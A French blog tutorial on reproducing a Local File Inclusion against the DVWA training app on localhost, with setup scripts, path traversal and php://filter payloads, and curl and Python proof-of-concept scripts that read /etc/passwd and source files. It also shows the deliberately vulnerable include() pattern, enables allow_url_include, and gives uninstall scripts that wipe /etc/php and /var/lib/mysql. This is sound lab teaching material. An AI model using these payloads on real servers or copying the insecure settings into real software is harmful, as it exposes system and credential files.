📘 Atelier : on reproduit une LFI (Local File Inclusion) ?

📘 Introduction : Qu’est-ce qu’une LFI (Local File Inclusion) ?

La Local File Inclusion (LFI) est une vulnérabilité web qui permet à un attaquant d’inclure un fichier présent sur le système de fichiers du serveur via des paramètres d’URL mal protégés.

Elle survient généralement quand une application PHP utilise une fonction comme include()require(), ou file_get_contents() avec une variable utilisateur non filtrée :

$page = $_GET['page'];
include($page); // ⚠️ Vulnérable !

🎯 Objectifs possibles d’une LFI :

  • Lire des fichiers sensibles (/etc/passwd, fichiers de config…),
  • Inclure du code malveillant déjà présent sur le serveur,
  • Contourner des protections (avec des wrappers comme php://filter),
  • Préparer une escalade vers une RCE (Remote Code Execution).

🎯 Objectif

Reproduire un LFI permettant de lire arbitrairement des fichiers système (/etc/passwd), voire de bypasser les protections avec des wrappers PHP comme php://filter.


🧪 Environnement de test

Tu peux utiliser une VM avec :

  • DVWA (Damn Vulnerable Web App) sur Debian 12 ou Kali
  • Un navigateur avec Burp Suite
  • Accès root à la machine cible (VM perso ou lab)

🔧 Outils requis


⚙️ Installation de DVWA (si tu pars de 0)

# 1. Cloner le dépôt
git clone https://github.com/digininja/DVWA.git /var/www/html/dvwa

# 2. Configurer Apache/Nginx + PHP + MariaDB
apt install apache2 php php-mysqli mariadb-server

# 3. Configurer la base
mysql -u root -p
CREATE DATABASE dvwa;
CREATE USER 'dvwauser'@'localhost' IDENTIFIED BY 'dvwapass';
GRANT ALL ON dvwa.* TO 'dvwauser'@'localhost';
FLUSH PRIVILEGES;
exit;

# 4. Configurer le fichier /var/www/html/dvwa/config/config.inc.php
cp config/config.inc.php.dist config/config.inc.php
nano config/config.inc.php # (modifier user et pass MySQL)

# 5. Démarrer les services<br>systemctl start apache2
systemctl start mysql

🎯 LFI – Étapes de l’exploit

  1. Connexion à DVWA, niveau de sécurité réglé sur « Low ».
  2. Aller dans le menu « File Inclusion ».
  3. Tester ce type d’URL :
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd

Tu verras alors un dump du fichier /etc/passwd.


🧪 Étape bonus : wrapper PHP

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index

Cela encode le contenu de index.php en base64 et permet de lire des fichiers PHP normalement protégés (très utile en pentest réel).


🔒 Sécurisation post-test

  • Change le niveau de sécurité de DVWA à « High ».
  • Active les protections dans Apache : open_basedir, désactiver allow_url_include, etc.

📝 Script d’automatisation (bash + curl)

Voici un script pour tester automatiquement l’accès à /etc/passwd :

#!/bin/bash
URL="http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd"
COOKIE="security=low; PHPSESSID=xxx"  # remplace PHPSESSID par ton cookie réel

curl -s -b "$COOKIE" "$URL" | grep root

📦 En résumé

ÉlémentDétail
VulnérabilitéLFI (Local File Inclusion)
PlateformeDVWA
RésultatLire /etc/passwd, index.php
NiveauFacile, idéal pour lab

🛠️ # BONUS : Script d’installation automatique de DVWA

#!/bin/bash

# === Vérifications préalables ===
if [ "$EUID" -ne 0 ]; then
  echo "Ce script doit être exécuté en root."
  exit 1
fi

echo "[+] Mise à jour du système..."
apt update &amp;&amp; apt upgrade -y

echo "[+] Installation des paquets requis..."
apt install -y apache2 php php-mysqli git mariadb-server libapache2-mod-php

echo "[+] Clonage de DVWA..."
git clone https://github.com/digininja/DVWA.git /var/www/html/dvwa

echo "[+] Configuration des droits..."
chown -R www-data:www-data /var/www/html/dvwa
chmod -R 755 /var/www/html/dvwa

echo "[+] Démarrage des services..."
systemctl enable apache2 mariadb
systemctl start apache2 mariadb

echo "[+] Configuration de la base de données..."
mysql -u root &lt;&lt;EOF
CREATE DATABASE dvwa;
CREATE USER 'dvwauser'@'localhost' IDENTIFIED BY 'dvwapass';
GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwauser'@'localhost';
FLUSH PRIVILEGES;
EOF

echo "[+] Configuration du fichier DVWA..."
cp /var/www/html/dvwa/config/config.inc.php.dist /var/www/html/dvwa/config/config.inc.php
sed -i "s/'user' =&gt; 'root'/'user' =&gt; 'dvwauser'/" /var/www/html/dvwa/config/config.inc.php
sed -i "s/'password' =&gt; ''/'password' =&gt; 'dvwapass'/" /var/www/html/dvwa/config/config.inc.php

echo "[+] Activation des options PHP (allow_url_include)..."
PHP_INI="/etc/php/$(php -r 'echo PHP_MAJOR_VERSION.".".PHP_MINOR_VERSION;')/apache2/php.ini"
sed -i 's/allow_url_include = Off/allow_url_include = On/' "$PHP_INI"
sed -i 's/allow_url_fopen = Off/allow_url_fopen = On/' "$PHP_INI"
systemctl restart apache2

echo "[+] Préparation de DVWA : initialisation de la base via l'interface..."
curl -s -c cookies.txt -b cookies.txt "http://127.0.0.1/dvwa/setup.php" &gt; /dev/null

echo "[+] Script terminé."
echo
echo "➡️  Accède à DVWA via : http://127.0.0.1/dvwa"
echo "🛑 Identifiants par défaut : admin / password"
echo
echo "✅ Une fois connecté, va dans 'DVWA Security' et sélectionne 'Low'."

📌 Conseils d’usage

  • Tu peux enregistrer ce script dans un fichier install_dvwa.sh, puis le lancer :
chmod +x install_dvwa.sh
sudo ./install_dvwa.sh
  • Si tu es derrière un proxy ou un reverse proxy, n’oublie pas d’adapter les URL et les ports.
  • Pour NGINX à la place d’Apache : je peux t’en générer une version adaptée (avec FPM et conf NGINX incluse), dis-le-moi !

🧹 # BONUS : Script de désinstallation propre de DVWA + dépendances

#!/bin/bash

# === Vérifications préalables ===
if [ "$EUID" -ne 0 ]; then
  echo "Ce script doit être exécuté en root."
  exit 1
fi

read -p "⚠️ Ce script va supprimer DVWA, Apache, PHP et MariaDB. Continuer ? (y/N) " confirm
[[ "$confirm" != "y" ]] &amp;&amp; echo "Abandon." &amp;&amp; exit 1

echo "[+] Suppression des paquets..."
apt purge --remove -y apache2 php* mariadb-server mariadb-client
apt autoremove -y
apt autoclean

echo "[+] Suppression des fichiers et bases DVWA..."
rm -rf /var/www/html/dvwa
rm -rf /etc/apache2
rm -rf /etc/php
rm -rf /var/lib/mysql
rm -rf /var/log/mysql

echo "[+] Fin de la désinstallation."

💡 Sauvegarde-le sous uninstall_dvwa.sh puis :

chmod +x uninstall_dvwa.sh
sudo ./uninstall_dvwa.sh

💥 # BONUS 😎 : Script de test automatique LFI (PoC ciblant /etc/passwd)

Ce script suppose que DVWA est en mode « Low », que tu es connecté avec Burp ou navigateur, et que tu récupères ton cookie PHPSESSID.

#!/bin/bash

# Remplacer par ton PHPSESSID après connexion à DVWA
COOKIE="security=low; PHPSESSID=changeme"

URL="http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd"

echo "[+] Test d'inclusion de fichier local..."
curl -s -b "$COOKIE" "$URL" | grep -E '^root|/home|/bin/bash' &amp;&amp; echo "[✅] Fichier /etc/passwd exposé !" || echo "[❌] Rien trouvé. Vérifie le cookie ou le niveau de sécurité."

# Bonus : wrapper base64
echo -e "\n[+] Test avec php://filter"
curl -s -b "$COOKIE" "http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index" | grep -E 'PD9waHAg|Q29weXJpZ2h0|dmFsdWU=' &amp;&amp; echo "[✅] Inclusion de index.php encodé détectée." || echo "[❌] Échec du wrapper PHP."

💡 Sauvegarde-le sous lfi_test.sh, modifie le PHPSESSID et lance :

chmod +x lfi_test.sh
./lfi_test.sh

💥 # BONUS 😎 : Script PYTHON

LFI PYTHON

# DVWA Lab Setup Suite - Jean-Marc

# ==========================
# 1. INSTALL - Apache Setup
# ==========================

install_dvwa_apache() {
  echo "[Apache] Installing DVWA with Apache..."

  apt update && apt install -y apache2 php php-mysqli git mariadb-server libapache2-mod-php

  git clone https://github.com/digininja/DVWA.git /var/www/html/dvwa
  chown -R www-data:www-data /var/www/html/dvwa

  systemctl enable apache2 mariadb
  systemctl start apache2 mariadb

  mysql -u root <<EOF
CREATE DATABASE dvwa;
CREATE USER 'dvwauser'@'localhost' IDENTIFIED BY 'dvwapass';
GRANT ALL ON dvwa.* TO 'dvwauser'@'localhost';
FLUSH PRIVILEGES;
EOF

  cp /var/www/html/dvwa/config/config.inc.php.dist /var/www/html/dvwa/config/config.inc.php
  sed -i "s/'user' => 'root'/'user' => 'dvwauser'/" /var/www/html/dvwa/config/config.inc.php
  sed -i "s/'password' => ''/'password' => 'dvwapass'/" /var/www/html/dvwa/config/config.inc.php

  PHP_INI="/etc/php/$(php -r 'echo PHP_MAJOR_VERSION.".".PHP_MINOR_VERSION')/apache2/php.ini"
  sed -i 's/allow_url_include = Off/allow_url_include = On/' "$PHP_INI"
  sed -i 's/allow_url_fopen = Off/allow_url_fopen = On/' "$PHP_INI"
  systemctl restart apache2

  echo "[Apache] DVWA installed at: http://127.0.0.1/dvwa"
}

# ==========================
# 2. INSTALL - NGINX Setup
# ==========================

install_dvwa_nginx() {
  echo "[NGINX] Installing DVWA with NGINX + PHP-FPM..."

  apt update && apt install -y nginx php-fpm php-mysqli php-curl php-gd php-xml php-mbstring php-zip mariadb-server git

  git clone https://github.com/digininja/DVWA.git /var/www/dvwa
  chown -R www-data:www-data /var/www/dvwa

  mysql -u root <<EOF
CREATE DATABASE dvwa;
CREATE USER 'dvwauser'@'localhost' IDENTIFIED BY 'dvwapass';
GRANT ALL ON dvwa.* TO 'dvwauser'@'localhost';
FLUSH PRIVILEGES;
EOF

  cp /var/www/dvwa/config/config.inc.php.dist /var/www/dvwa/config/config.inc.php
  sed -i "s/'user' => 'root'/'user' => 'dvwauser'/" /var/www/dvwa/config/config.inc.php
  sed -i "s/'password' => ''/'password' => 'dvwapass'/" /var/www/dvwa/config/config.inc.php

  PHP_INI="/etc/php/$(php -r 'echo PHP_MAJOR_VERSION.".".PHP_MINOR_VERSION')/fpm/php.ini"
  sed -i 's/allow_url_include = Off/allow_url_include = On/' "$PHP_INI"
  sed -i 's/allow_url_fopen = Off/allow_url_fopen = On/' "$PHP_INI"

  systemctl restart php*-fpm

  cat <<EOF > /etc/nginx/sites-available/dvwa
server {
    listen 80;
    server_name localhost;
    root /var/www/dvwa;
    index index.php index.html;

    location / {
        try_files \$uri \$uri/ =404;
    }

    location ~ \.php\$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php$(php -r 'echo PHP_MAJOR_VERSION.".".PHP_MINOR_VERSION')-fpm.sock;
    }

    location ~ /\.ht {
        deny all;
    }
}
EOF

  ln -s /etc/nginx/sites-available/dvwa /etc/nginx/sites-enabled/
  rm -f /etc/nginx/sites-enabled/default
  nginx -t && systemctl restart nginx

  echo "[NGINX] DVWA installed at: http://127.0.0.1"
}

# ============================
# 3. REVERSE PROXY SETUP (opt)
# ============================

install_reverse_proxy() {
  echo "[Reverse Proxy] Installing NGINX reverse proxy to Apache..."

  apt install -y nginx

  cat <<EOF > /etc/nginx/sites-available/reverse-proxy
server {
    listen 80;
    server_name localhost;

    location / {
        proxy_pass http://127.0.0.1:8080;
        proxy_set_header Host \$host;
        proxy_set_header X-Real-IP \$remote_addr;
        proxy_set_header X-Forwarded-For \$proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto \$scheme;
    }
}
EOF

  ln -s /etc/nginx/sites-available/reverse-proxy /etc/nginx/sites-enabled/
  systemctl restart nginx
  echo "[Reverse Proxy] Active at: http://127.0.0.1/ → Apache on :8080"
}

# =============================
# 4. LFI PoC Test Script (curl)
# =============================

lfi_test() {
  echo "[PoC] Test LFI on DVWA (curl)"
  echo "Remplacer le PHPSESSID avant usage."
  COOKIE="security=low; PHPSESSID=changeme"

  curl -s -b "$COOKIE" "http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd" | grep -E '^root|/bin/bash'
  echo -e "\n[+] php://filter test"
  curl -s -b "$COOKIE" "http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index" | grep 'PD9waHAg'
}

# =============================
# 5. LFI PoC Test Script (Python)
# =============================

lfi_test_python() {
  echo "[PoC] LFI Python script - replace session before using."
  cat <<EOF > lfi_poc.py
import requests

url = "http://127.0.0.1/dvwa/vulnerabilities/fi/"
cookie = {"PHPSESSID": "changeme", "security": "low"}
payloads = ["../../../../etc/passwd", "php://filter/convert.base64-encode/resource=index"]

for payload in payloads:
    params = {"page": payload}
    r = requests.get(url, params=params, cookies=cookie)
    print(f"\n[+] Payload: {payload}\n{'='*40}\n")
    print(r.text[:1000])
EOF
  echo "[+] Python PoC created: lfi_poc.py"
  echo "⚠️  N'oublie pas de modifier le PHPSESSID dans le script."
}

# ==========================
# 6. UNINSTALL ALL CLEANLY
# ==========================

uninstall_dvwa() {
  echo "[UNINSTALL] Remove DVWA, Apache/NGINX, PHP & MariaDB"

  apt purge --remove -y apache2 nginx php* mariadb-server mariadb-client
  apt autoremove -y && apt autoclean
  rm -rf /var/www/html/dvwa /var/www/dvwa /etc/nginx/sites-{available,enabled}/dvwa /etc/apache2 /etc/php /var/lib/mysql /var/log/mysql

  echo "[UNINSTALL] Clean complete."
}

# ==========================
# MAIN MENU
# ==========================

case "$1" in
  install-apache)
    install_dvwa_apache
    ;;
  install-nginx)
    install_dvwa_nginx
    ;;
  reverse-proxy)
    install_reverse_proxy
    ;;
  lfi-test)
    lfi_test
    ;;
  lfi-test-python)
    lfi_test_python
    ;;
  uninstall)
    uninstall_dvwa
    ;;
  *)
    echo "Usage: $0 {install-apache|install-nginx|reverse-proxy|lfi-test|lfi-test-python|uninstall}"
    ;;
esac

✅ Le script Dvwa Lab Setup contient désormais une fonction lfi_test_python qui génère un PoC Python exploitant une LFI sur DVWA avec :

  • Session PHP configurable
  • Test automatique de :
    • ../../../../etc/passwd
    • php://filter/convert.base64-encode/resource=index

▶️ Pour générer le PoC :

bash
./dvwa_setup.sh lfi-test-python

Un fichier lfi_poc.py sera créé dans le dossier courant.

📘 Atelier : on reproduit une LFI (Local File Inclusion) ?
Partager cet article : Twitter LinkedIn WhatsApp

🖋️ Publié sur SecuSlice.com

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Retour en haut